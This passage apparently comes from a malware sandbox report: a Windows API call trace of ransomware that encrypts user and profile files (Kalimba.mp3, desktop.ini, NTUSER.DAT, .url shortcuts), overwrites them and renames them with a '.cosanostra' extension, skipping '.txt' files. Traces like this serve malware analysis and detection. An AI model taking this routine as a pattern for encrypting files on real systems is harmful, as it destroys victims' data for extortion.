dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.638] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3") returned 50 [0090.638] StrStrW (lpFirst="Kalimba.mp3", lpSrch=".txt") returned 0x0 [0090.639] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.639] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff70c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff70c*=0x2800, lpOverlapped=0x0) returned 1 [0090.639] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.639] WriteFile (in: hFile=0x154, lpBuffer=0x26ff74c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff70c, lpOverlapped=0x0 | out: lpBuffer=0x26ff74c*, lpNumberOfBytesWritten=0x26ff70c*=0x4, lpOverlapped=0x0) returned 1 [0090.641] WriteFile (in: hFile=0x154, lpBuffer=0x27cb18*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff70c, lpOverlapped=0x0 | out: lpBuffer=0x27cb18*, lpNumberOfBytesWritten=0x26ff70c*=0x30, lpOverlapped=0x0) returned 1 [0090.641] CloseHandle (hObject=0x154) returned 1 [0090.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.cosanostra" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.cosanostra")) returned 1 [0090.641] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff750 | out: pbBuffer=0x26ff750) returned 1 [0090.642] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff748*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff748*=0x30) returned 1 [0090.642] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.642] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\desktop.ini") returned 50 [0090.642] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.642] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffdb6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.642] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x24a, lpNumberOfBytesWritten=0x26ff70c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff70c*=0x24a, lpOverlapped=0x0) returned 1 [0090.643] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.643] WriteFile (in: hFile=0x154, lpBuffer=0x26ff74c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff70c, lpOverlapped=0x0 | out: lpBuffer=0x26ff74c*, lpNumberOfBytesWritten=0x26ff70c*=0x4, lpOverlapped=0x0) returned 1 [0090.643] WriteFile (in: hFile=0x154, lpBuffer=0x27cb18*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff70c, lpOverlapped=0x0 | out: lpBuffer=0x27cb18*, lpNumberOfBytesWritten=0x26ff70c*=0x30, lpOverlapped=0x0) returned 1 [0090.643] CloseHandle (hObject=0x154) returned 1 [0090.643] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini.cosanostra")) returned 1 [0090.643] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff748 | out: pbBuffer=0x26ff748) returned 1 [0090.643] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff740*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff740*=0x30) returned 1 [0090.643] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\.." (normalized: "c:\\users\\public\\music"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.643] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff748 | out: pbBuffer=0x26ff748) returned 1 [0090.643] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff740*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff740*=0x30) returned 1 [0090.644] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\." (normalized: "c:\\users\\public\\music\\sample music\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.644] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff740 | out: pbBuffer=0x26ff740) returned 1 [0090.644] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff738*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff738*=0x30) returned 1 [0090.644] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.644] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Music\\desktop.ini") returned 37 [0090.644] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.644] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffe84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.644] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x26ff6fc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff6fc*=0x17c, lpOverlapped=0x0) returned 1 [0090.644] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.645] WriteFile (in: hFile=0x154, lpBuffer=0x26ff73c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff6fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff73c*, lpNumberOfBytesWritten=0x26ff6fc*=0x4, lpOverlapped=0x0) returned 1 [0090.645] WriteFile (in: hFile=0x154, lpBuffer=0x27cb18*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff6fc, lpOverlapped=0x0 | out: lpBuffer=0x27cb18*, lpNumberOfBytesWritten=0x26ff6fc*=0x30, lpOverlapped=0x0) returned 1 [0090.645] CloseHandle (hObject=0x154) returned 1 [0090.645] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Music\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\music\\desktop.ini.cosanostra")) returned 1 [0090.645] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff740 | out: pbBuffer=0x26ff740) returned 1 [0090.645] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff738*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff738*=0x30) returned 1 [0090.645] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\.." (normalized: "c:\\users\\public"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.645] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff738 | out: pbBuffer=0x26ff738) returned 1 [0090.645] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff730*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff730*=0x30) returned 1 [0090.645] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\." (normalized: "c:\\users\\public\\music\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.748] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff730 | out: pbBuffer=0x26ff730) returned 1 [0090.748] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff728*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff728*=0x30) returned 1 [0090.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4 [0090.749] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG2") returned 36 [0090.749] StrStrW (lpFirst="NTUSER.DAT.LOG2", lpSrch=".txt") returned 0x0 [0090.749] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.750] WriteFile (in: hFile=0xa4, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ff6ec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff6ec*=0x0, lpOverlapped=0x0) returned 1 [0090.750] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.750] WriteFile (in: hFile=0xa4, lpBuffer=0x26ff72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff6ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff72c*, lpNumberOfBytesWritten=0x26ff6ec*=0x4, lpOverlapped=0x0) returned 1 [0090.750] WriteFile (in: hFile=0xa4, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff6ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff6ec*=0x30, lpOverlapped=0x0) returned 1 [0090.750] CloseHandle (hObject=0xa4) returned 1 [0090.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), lpNewFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG2.cosanostra" (normalized: "c:\\users\\default\\ntuser.dat.log2.cosanostra")) returned 1 [0090.752] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff730 | out: pbBuffer=0x26ff730) returned 1 [0090.752] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff728*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff728*=0x30) returned 1 [0090.752] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4 [0090.752] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG1") returned 36 [0090.752] StrStrW (lpFirst="NTUSER.DAT.LOG1", lpSrch=".txt") returned 0x0 [0090.753] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.753] WriteFile (in: hFile=0xa4, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff6ec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff6ec*=0x2800, lpOverlapped=0x0) returned 1 [0090.753] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.753] WriteFile (in: hFile=0xa4, lpBuffer=0x26ff72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff6ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff72c*, lpNumberOfBytesWritten=0x26ff6ec*=0x4, lpOverlapped=0x0) returned 1 [0090.760] WriteFile (in: hFile=0xa4, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff6ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff6ec*=0x30, lpOverlapped=0x0) returned 1 [0090.760] CloseHandle (hObject=0xa4) returned 1 [0090.760] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), lpNewFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG1.cosanostra" (normalized: "c:\\users\\default\\ntuser.dat.log1.cosanostra")) returned 1 [0090.761] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff728 | out: pbBuffer=0x26ff728) returned 1 [0090.761] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff720*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff720*=0x30) returned 1 [0090.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4 [0090.761] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\NTUSER.DAT") returned 31 [0090.761] StrStrW (lpFirst="NTUSER.DAT", lpSrch=".txt") returned 0x0 [0090.860] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.860] WriteFile (in: hFile=0xa4, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff6e4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff6e4*=0x2800, lpOverlapped=0x0) returned 1 [0090.860] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.860] WriteFile (in: hFile=0xa4, lpBuffer=0x26ff724*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff6e4, lpOverlapped=0x0 | out: lpBuffer=0x26ff724*, lpNumberOfBytesWritten=0x26ff6e4*=0x4, lpOverlapped=0x0) returned 1 [0090.861] WriteFile (in: hFile=0xa4, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff6e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff6e4*=0x30, lpOverlapped=0x0) returned 1 [0090.861] CloseHandle (hObject=0xa4) returned 1 [0090.861] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), lpNewFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.cosanostra" (normalized: "c:\\users\\default\\ntuser.dat.cosanostra")) returned 1 [0090.862] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff728 | out: pbBuffer=0x26ff728) returned 1 [0090.864] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff720*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff720*=0x30) returned 1 [0090.864] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.973] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff720 | out: pbBuffer=0x26ff720) returned 1 [0090.974] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff718*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff718*=0x30) returned 1 [0090.974] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.016] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url") returned 58 [0091.016] StrStrW (lpFirst="MSN Sports.url", lpSrch=".txt") returned 0x0 [0091.029] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.029] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff6dc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff6dc*=0x85, lpOverlapped=0x0) returned 1 [0091.029] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.030] WriteFile (in: hFile=0x180, lpBuffer=0x26ff71c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff6dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff71c*, lpNumberOfBytesWritten=0x26ff6dc*=0x4, lpOverlapped=0x0) returned 1 [0091.030] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff6dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff6dc*=0x30, lpOverlapped=0x0) returned 1 [0091.030] CloseHandle (hObject=0x180) returned 1 [0091.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url.cosanostra")) returned 1 [0091.031] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff720 | out: pbBuffer=0x26ff720) returned 1 [0091.031] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff718*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff718*=0x30) returned 1 [0091.031] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\.." (normalized: "c:\\users\\default\\favorites"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.089] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff718 | out: pbBuffer=0x26ff718) returned 1 [0091.089] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff710*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff710*=0x30) returned 1 [0091.089] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.671] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff700 | out: pbBuffer=0x26ff700) returned 1 [0091.671] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6f8*=0x30) returned 1 [0091.671] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.672] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6f8 | out: pbBuffer=0x26ff6f8) returned 1 [0091.672] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6f0*=0x30) returned 1 [0091.672] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.673] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6f0 | out: pbBuffer=0x26ff6f0) returned 1 [0091.673] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6e8*=0x30) returned 1 [0091.673] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.673] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6f0 | out: pbBuffer=0x26ff6f0) returned 1 [0091.673] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6e8*=0x30) returned 1 [0091.673] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.674] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6e8 | out: pbBuffer=0x26ff6e8) returned 1 [0091.674] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6e0*=0x30) returned 1 [0091.674] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.674] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6e0 | out: pbBuffer=0x26ff6e0) returned 1 [0091.674] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6d8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6d8*=0x30) returned 1 [0091.674] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.674] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6e0 | out: pbBuffer=0x26ff6e0) returned 1 [0091.674] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6d8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6d8*=0x30) returned 1 [0091.674] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.674] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6d8 | out: pbBuffer=0x26ff6d8) returned 1 [0091.674] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6d0*=0x30) returned 1 [0091.674] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 